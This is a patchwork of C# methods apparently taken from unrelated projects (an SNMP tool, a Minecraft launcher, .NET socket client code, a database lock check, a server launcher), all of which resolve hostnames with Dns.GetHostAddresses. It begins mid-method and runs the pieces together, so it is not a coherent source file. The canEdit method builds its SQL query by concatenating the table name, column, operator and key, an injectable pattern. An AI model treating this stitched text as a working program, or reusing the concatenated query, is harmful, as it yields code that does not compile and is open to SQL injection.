Messenger.Set(version, receiver, new OctetString(community), vList, timeout))
{
Console.WriteLine(variable);
}
return;
}
if (string.IsNullOrEmpty(user))
{
Console.WriteLine("User name need to be specified for v3.");
return;
}
IAuthenticationProvider auth = (level & Levels.Authentication) == Levels.Authentication
? GetAuthenticationProviderByName(authentication, authPhrase)
: DefaultAuthenticationProvider.Instance;
IPrivacyProvider priv;
if ((level & Levels.Privacy) == Levels.Privacy)
{
priv = new DESPrivacyProvider(new OctetString(privPhrase), auth);
}
else
{
priv = new DefaultPrivacyProvider(auth);
}
Discovery discovery = Messenger.NextDiscovery;
ReportMessage report = discovery.GetResponse(timeout, receiver);
SetRequestMessage request = new SetRequestMessage(VersionCode.V3, Messenger.NextMessageId, Messenger.NextRequestId, new OctetString(user), vList, priv, Messenger.MaxMessageSize, report);
ISnmpMessage response = request.GetResponse(timeout, receiver);
if (response.Pdu.ErrorStatus.ToInt32() != 0) // != ErrorCode.NoError
{
throw ErrorException.Create(
"error in response",
receiver.Address,
response);
}
foreach (Variable v in response.Pdu.Variables)
{
Console.WriteLine(v);
}
}
catch (SnmpException ex)
{
Console.WriteLine(ex);
}
catch (SocketException ex)
{
Console.WriteLine(ex);
}
}
/// <summary>
/// Handles the background activities.
/// </summary>
/// <param name="state">Not used.</param>
private void OnBkTask(object state)
{
// Perform the name server lookup outside of the lock
// so we won't block packet reception while the lookups
// proceed.
List <IPEndPoint> newServers = null;
if (socket != null && serverResolveTimer.HasFired)
{
try
{
newServers = new List <IPEndPoint>();
foreach (var binding in settings.Servers)
{
if (!binding.IsHost)
{
newServers.Add(binding);
continue;
}
try
{
foreach (var address in Dns.GetHostAddresses(binding.Host).IPv4Only())
{
newServers.Add(new IPEndPoint(address, binding.Port));
}
if (newServers.Count == 0)
{
newServers = null;
}
}
catch
{
// Ignoring
}
}
}
finally
{
serverResolveTimer.Reset();
}
}
lock (syncLock)
{
if (socket == null)
{
return; // Client is closed
}
if (newServers != null)
{
servers = newServers;
}
if (keepAliveTimer.HasFired)
{
try
{
if (servers != null)
{
// Transmit a broadcast message to all of the cluster servers.
var packet = GetMessageBytes(UdpBroadcastMessageType.ClientRegister, settings.BroadcastGroup);
foreach (var server in servers)
{
if (!PauseNetwork)
{
socket.SendTo(packet, server);
}
}
}
}
finally
{
if (servers == null)
{
keepAliveTimer.ResetImmediate();
}
else
{
keepAliveTimer.Reset();
}
}
}
}
}
public static Boolean canEdit(string tableName, string columnName, string symbol, string keyString)
{
#region Npgsql
NpgsqlConnection conn;
try
{
conn = new NpgsqlConnection(Settings.retConnStr());
conn.Open();
}
catch (ArgumentException)
{
MessageBox.Show(FindingsEditor.Properties.Resources.WrongConnectingString, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
return(false);
}
#endregion
string sql =
"SELECT lock_time, terminal_ip FROM " + tableName + " WHERE " + columnName + " " + symbol + " " + keyString;
NpgsqlDataAdapter da = new NpgsqlDataAdapter(sql, conn);
DataTable dt = new DataTable();
try
{ da.Fill(dt); }
catch (NpgsqlException)
{
MessageBox.Show(FindingsEditor.Properties.Resources.ConnectFailed, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
conn.Close();
return(false);
}
conn.Close();
if (dt.Rows.Count == 0)
{
MessageBox.Show(FindingsEditor.Properties.Resources.NoData, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
return(false);
}
if ((string.IsNullOrWhiteSpace(dt.Rows[0]["lock_time"].ToString())) || (string.IsNullOrWhiteSpace(dt.Rows[0]["terminal_ip"].ToString())))
{
return(true);
}
//check lock time
DateTime now = DateTime.Now;
DateTime l_time = DateTime.Parse(dt.Rows[0]["lock_time"].ToString()).AddMinutes(2);
if (l_time < now)
{
return(true);
}
else
{
//check IP address.
string hostname = Dns.GetHostName();
IPAddress[] ip = Dns.GetHostAddresses(hostname);
if (dt.Rows[0]["terminal_ip"].ToString() == ip[0].ToString())
{
return(true);
}
else
{
return(false);
}
}
}
private void GetServerInfo(object obj)
{
Dispatcher.Invoke(new System.Windows.Forms.MethodInvoker(delegate { btnReflushServer.Content = LangManager.GetLangFromResource("ServerListGetting"); }));
if (File.Exists(@".minecraft\servers.dat"))
{
_sl = new serverlist.serverlist();
foreach (serverlist.serverinfo info in _sl.info)
{
DateTime start = DateTime.Now;
var server = new object[7];
server[0] = info.Name;
server[1] = info.IsHide ? LangManager.GetLangFromResource("ServerListYes") : LangManager.GetLangFromResource("ServerListNo");
if (info.IsHide)
{
server[2] = string.Empty;
}
else
{
server[2] = info.Address;
}
try
{
var con = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveTimeout = 3000,
SendTimeout = 3000
};
con.Connect(Dns.GetHostAddresses(info.Address.Split(':')[0]),
info.Address.Split(':').Length == 1 ? 25565 : int.Parse(info.Address.Split(':')[1]));
con.Send(new byte[] { 254 });
con.Send(new byte[] { 1 });
var recive = new byte[512];
int bytes = con.Receive(recive);
if (recive[0] != 255)
{
throw new Exception(LangManager.GetLangFromResource("ServerListInvildReply"));
}
string message = Encoding.UTF8.GetString(recive, 4, bytes - 4);
var remessage = new StringBuilder(30);
for (int i = 0; i <= message.Length; i += 2)
{
remessage.Append(message[i]);
}
message = remessage.ToString();
con.Shutdown(SocketShutdown.Both);
con.Close();
DateTime end = DateTime.Now;
char[] achar = message.ToCharArray();
for (int i = 0; i < achar.Length; ++i)
{
if (achar[i] != 167 && achar[i] != 0 && char.IsControl(achar[i]))
{
achar[i] = (char)63;
}
}
message = new String(achar);
if (message[0] == (char)253 || message[0] == (char)65533)
{
message = (char)167 + message.Substring(1);
}
if (message.StartsWith("\u00a7") && message.Length > 1)
{
string[] astring = message.Substring(1).Split('\0');
if (MathHelper.parseIntWithDefault(astring[0], 0) == 1)
{
server[3] = astring[3];
server[4] = astring[2];
int online = MathHelper.parseIntWithDefault(astring[4], 0);
int maxplayer = MathHelper.parseIntWithDefault(astring[5], 0);
server[5] = online + "/" + maxplayer;
}
}
else
{
server[3] = " ";
server[4] = " ";
server[5] = " ";
}
server[6] = (end - start).Milliseconds + " ms";
}
catch (SocketException ex)
{
server[3] = " ";
server[4] = " ";
server[5] = " ";
server[6] = LangManager.GetLangFromResource("ServerListSocketException") + ex.Message;
//server.SubItems[0].ForeColor = Color.Red;
}
catch (Exception ex)
{
server[3] = " ";
server[4] = " ";
server[5] = " ";
server[6] = LangManager.GetLangFromResource("ServerListUnknowServer") + ex.Message;
//server.SubItems[0].ForeColor = Color.Red;
}
finally
{
var logger = new StringBuilder();
foreach (string str in server)
{
logger.Append(str + ",");
}
Logger.log(logger.ToString());
lock (_serverListDataTable)
{
_serverListDataTable.Rows.Add(server);
Dispatcher.Invoke(new System.Windows.Forms.MethodInvoker(delegate
{
listServer.DataContext = null;
listServer.DataContext = _serverListDataTable;
}));
}
}
}
Dispatcher.Invoke(new System.Windows.Forms.MethodInvoker(delegate { btnReflushServer.Content = LangManager.GetLangFromResource("btnReflushServer"); btnReflushServer.IsEnabled = true; }));
}
else
{
if (MessageBox.Show(LangManager.GetLangFromResource("ServerListNotFound"), "", MessageBoxButton.OKCancel) == MessageBoxResult.OK)
{
if (!Directory.Exists(".minecraft"))
{
Directory.CreateDirectory(".minecraft");
}
var serverdat = new FileStream(@".minecraft\servers.dat", FileMode.Create);
serverdat.Write(Convert.FromBase64String(Resource.ServerDat.Header), 0, Convert.FromBase64String(Resource.ServerDat.Header).Length);
serverdat.WriteByte(0);
serverdat.Close();
_sl = new serverlist.serverlist();
Dispatcher.Invoke(new System.Windows.Forms.MethodInvoker(delegate
{
btnAddServer.IsEnabled = true;
btnDeleteServer.IsEnabled = true;
btnEditServer.IsEnabled = true;
btnReflushServer.IsEnabled = true;
}));
}
else
{
Dispatcher.Invoke(new System.Windows.Forms.MethodInvoker(delegate
{
btnAddServer.IsEnabled = false;
btnDeleteServer.IsEnabled = false;
btnEditServer.IsEnabled = false;
btnReflushServer.IsEnabled = false;
}));
}
}
}
private void connectionBtn_Click(object sender, EventArgs e)
{
if (!Connected)
{
if (ipBox.Text.Length < 6 ||
ipBox.Text.Length > 253)
{
MessageBox.Show("IP Invalid, check length (too short)");
return;
}
if (ipBox.Text.Contains("."))
{
IPAddress _ip = Dns.GetHostAddresses(ipBox.Text)[0];
if (_ip == null)
{
MessageBox.Show("IP Invalid");
return;
}
}
if (!int.TryParse(portBox.Text, out int port))
{
MessageBox.Show("Port Invalid.");
return;
}
if (port < 0 ||
port > ushort.MaxValue)
{
MessageBox.Show("Port out of range (0 ~ 65535");
return;
}
if (usernameBox.Text.Length <= 3 ||
usernameBox.Text.Length > 12)
{
if (usernameBox.Text.Length <= 3)
{
MessageBox.Show("Username too short");
}
else
{
MessageBox.Show("Username too long");
}
return;
}
if (passwordBox.Text.Length <= 3 ||
passwordBox.Text.Length > 17)
{
if (passwordBox.Text.Length <= 3)
{
MessageBox.Show("Password too short");
}
else
{
MessageBox.Show("Password too long");
}
return;
//127.0.0.1
}
SMForm.Text = string.Format("Server Management Tool : Connecting..");
Network.ServerIP = ipBox.Text;
Network.ServerPort = Convert.ToInt32(portBox.Text);
}
ToggleConnection();
}
private static Socket?Connect(string serverName, int port, TimeSpan timeout)
{
var ipAddresses = Dns.GetHostAddresses(serverName);
IPAddress?serverIPv4 = null;
IPAddress?serverIPv6 = null;
foreach (var ipAddress in ipAddresses)
{
switch (ipAddress.AddressFamily)
{
case AddressFamily.InterNetwork:
serverIPv4 = ipAddress;
break;
case AddressFamily.InterNetworkV6:
serverIPv6 = ipAddress;
break;
}
}
ipAddresses = new[] { serverIPv4, serverIPv6 };
Socket?[] sockets = new Socket[2];
var cts = new CancellationTokenSource();
cts.CancelAfter(timeout);
void Cancel()
{
for (var i = 0; i < sockets.Length; ++i)
{
try
{
if (sockets[i] == null || sockets[i] !.Connected)
{
continue;
}
sockets[i] !.Dispose();
sockets[i] = null;
}
catch
{
// ignored
}
}
}
cts.Token.Register(Cancel);
Socket?availableSocket = null;
for (var i = 0; i < sockets.Length; ++i)
{
try
{
if (ipAddresses[i] == null)
{
continue;
}
sockets[i] = new Socket(ipAddresses[i].AddressFamily, SocketType.Stream, ProtocolType.Tcp);
sockets[i] !.Connect(ipAddresses[i], port);
if (sockets[i] == null)
{
continue;
}
if (sockets[i] !.Connected)
{
availableSocket = sockets[i] !;
break;
}
sockets[i] !.Dispose();
sockets[i] = null;
}
catch
{
// ignored
}
}
return(availableSocket);
}
public void Connect(string hostname, int port)
{
ThrowIfDisposed();
if (hostname == null)
{
throw new ArgumentNullException(nameof(hostname));
}
if (!TcpValidationHelpers.ValidatePortNumber(port))
{
throw new ArgumentOutOfRangeException(nameof(port));
}
// We must now look for addresses that use a compatible address family to the client socket. However, in the
// case of the <hostname,port> constructor we will have deferred creating the socket and will do that here
// instead.
IPAddress[] addresses = Dns.GetHostAddresses(hostname);
Exception?lastex = null;
Socket? ipv6Socket = null;
Socket? ipv4Socket = null;
try
{
if (_clientSocket == null)
{
if (Socket.OSSupportsIPv4)
{
ipv4Socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
}
if (Socket.OSSupportsIPv6)
{
ipv6Socket = new Socket(AddressFamily.InterNetworkV6, SocketType.Dgram, ProtocolType.Udp);
}
}
foreach (IPAddress address in addresses)
{
try
{
if (_clientSocket == null)
{
// We came via the <hostname,port> constructor. Set the
// address family appropriately, create the socket and
// try to connect.
if (address.AddressFamily == AddressFamily.InterNetwork && ipv4Socket != null)
{
ipv4Socket.Connect(address, port);
_clientSocket = ipv4Socket;
if (ipv6Socket != null)
{
ipv6Socket.Close();
}
}
else if (ipv6Socket != null)
{
ipv6Socket.Connect(address, port);
_clientSocket = ipv6Socket;
if (ipv4Socket != null)
{
ipv4Socket.Close();
}
}
_family = address.AddressFamily;
_active = true;
break;
}
else if (IsAddressFamilyCompatible(address.AddressFamily))
{
// Only use addresses with a matching family
Connect(new IPEndPoint(address, port));
_active = true;
break;
}
}
catch (Exception ex)
{
if (ExceptionCheck.IsFatal(ex))
{
throw;
}
lastex = ex;
}
}
}
catch (Exception ex)
{
if (ExceptionCheck.IsFatal(ex))
{
throw;
}
lastex = ex;
}
finally
{
//cleanup temp sockets if failed
//main socket gets closed when tcpclient gets closed
//did we connect?
if (!_active)
{
if (ipv6Socket != null)
{
ipv6Socket.Close();
}
if (ipv4Socket != null)
{
ipv4Socket.Close();
}
// The connect failed - rethrow the last error we had
if (lastex != null)
{
throw lastex;
}
else
{
throw new SocketException((int)SocketError.NotConnected);
}
}
}
}
// Connects the Client to the specified port on the specified host.
public void Connect(string hostname, int port)
{
if (NetEventSource.IsEnabled)
{
NetEventSource.Enter(this, hostname);
}
if (CleanedUp)
{
throw new ObjectDisposedException(GetType().FullName);
}
if (hostname == null)
{
throw new ArgumentNullException(nameof(hostname));
}
if (!TcpValidationHelpers.ValidatePortNumber(port))
{
throw new ArgumentOutOfRangeException(nameof(port));
}
// Check for already connected and throw here. This check
// is not required in the other connect methods as they
// will throw from WinSock. Here, the situation is more
// complex since we have to resolve a hostname so it's
// easier to simply block the request up front.
if (_active)
{
throw new SocketException((int)SocketError.IsConnected);
}
// IPv6: We need to process each of the addresses returned from
// DNS when trying to connect. Use of AddressList[0] is
// bad form.
IPAddress[] addresses = Dns.GetHostAddresses(hostname);
ExceptionDispatchInfo lastex = null;
try
{
foreach (IPAddress address in addresses)
{
try
{
if (_clientSocket == null)
{
// We came via the <hostname,port> constructor. Set the address family appropriately,
// create the socket and try to connect.
Debug.Assert(address.AddressFamily == AddressFamily.InterNetwork || address.AddressFamily == AddressFamily.InterNetworkV6);
if ((address.AddressFamily == AddressFamily.InterNetwork && Socket.OSSupportsIPv4) || Socket.OSSupportsIPv6)
{
var socket = new Socket(address.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
// Use of Interlocked.Exchanged ensures _clientSocket is written before CleanedUp is read.
Interlocked.Exchange(ref _clientSocket, socket);
if (CleanedUp)
{
// Dispose the socket so it throws ObjectDisposedException when we Connect.
socket.Dispose();
}
try
{
socket.Connect(address, port);
}
catch
{
_clientSocket = null;
throw;
}
}
_family = address.AddressFamily;
_active = true;
break;
}
else if (address.AddressFamily == _family || _family == AddressFamily.Unknown)
{
// Only use addresses with a matching family
Connect(new IPEndPoint(address, port));
_active = true;
break;
}
}
catch (Exception ex) when(!(ex is OutOfMemoryException))
{
lastex = ExceptionDispatchInfo.Capture(ex);
}
}
}
finally
{
if (!_active)
{
// The connect failed - rethrow the last error we had
lastex?.Throw();
throw new SocketException((int)SocketError.NotConnected);
}
}
if (NetEventSource.IsEnabled)
{
NetEventSource.Exit(this);
}
}
public static string GetIpFromDnsName(string dnsName) => Dns.GetHostAddresses(dnsName)[0].ToString();
private void addServer(string serverID, string URL, int maxFaults, int minDelay, int maxDelay)
{
PCSService pCs;
Uri myUri = new Uri(URL);
IPAddress[] hostIPs = Dns.GetHostAddresses(myUri.Host);
Task task;
// get local IP addresses
IPAddress[] localIPs = Dns.GetHostAddresses(Dns.GetHostName());
// test if any host IP is a loopback IP or is equal to any local IP
if (hostIPs.Any(hostIP => IPAddress.IsLoopback(hostIP) || localIPs.Contains(hostIP))) // we can directly create the server because is
{
var process = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = Directory.GetCurrentDirectory() + @"..\..\..\..\Server\bin\Debug\Server",
Arguments = serverID + "'" + URL + "'" + maxFaults + "'" + minDelay + "'" + maxDelay,
}
};
process.Start();
sProcesses.Add(serverID, process);
}
else
{
pCs = (PCSService)Activator.GetObject(typeof(PCSService), myUri.Scheme + Uri.SchemeDelimiter + myUri.Host + ":10000");
task = Task.Factory.StartNew(() => pCs.createServerProcess(serverID, URL, maxFaults, minDelay, maxDelay));
task.Wait();
}
String psURLHost = myUri.Host;
int psURLPort = myUri.Port + 200;
Console.WriteLine("serverID: " + serverID + " URL: " + URL);
PuppetServer ps = (PuppetServer)Activator.GetObject(typeof(PuppetServer), "http://" + psURLHost + ":" + psURLPort + "/ps");
foreach (KeyValuePair <String, String> server in urlServers)
{
task = Task.Factory.StartNew(() => ps.initializeView(server.Key, server.Value));
task.Wait();
}
urlServers.Add(serverID, URL);
String con = "";
foreach (MeetingLocation mloc in meetingLocations)
{
con += mloc.encodeSOAP() + "#";
}
if (con.Length > 1)
{
con = con.Remove(con.Length - 1);
ps.updateLocations(con);
}
task = Task.Factory.StartNew(() => ps.addServerToView(serverID, URL));
task.Wait();
serverNo++;
addServerId.Text = "server" + serverNo.ToString().PadLeft(2, '0');
addURL.Text = "tcp://localhost:80" + serverNo.ToString().PadLeft(2, '0') + "/mcm";
}
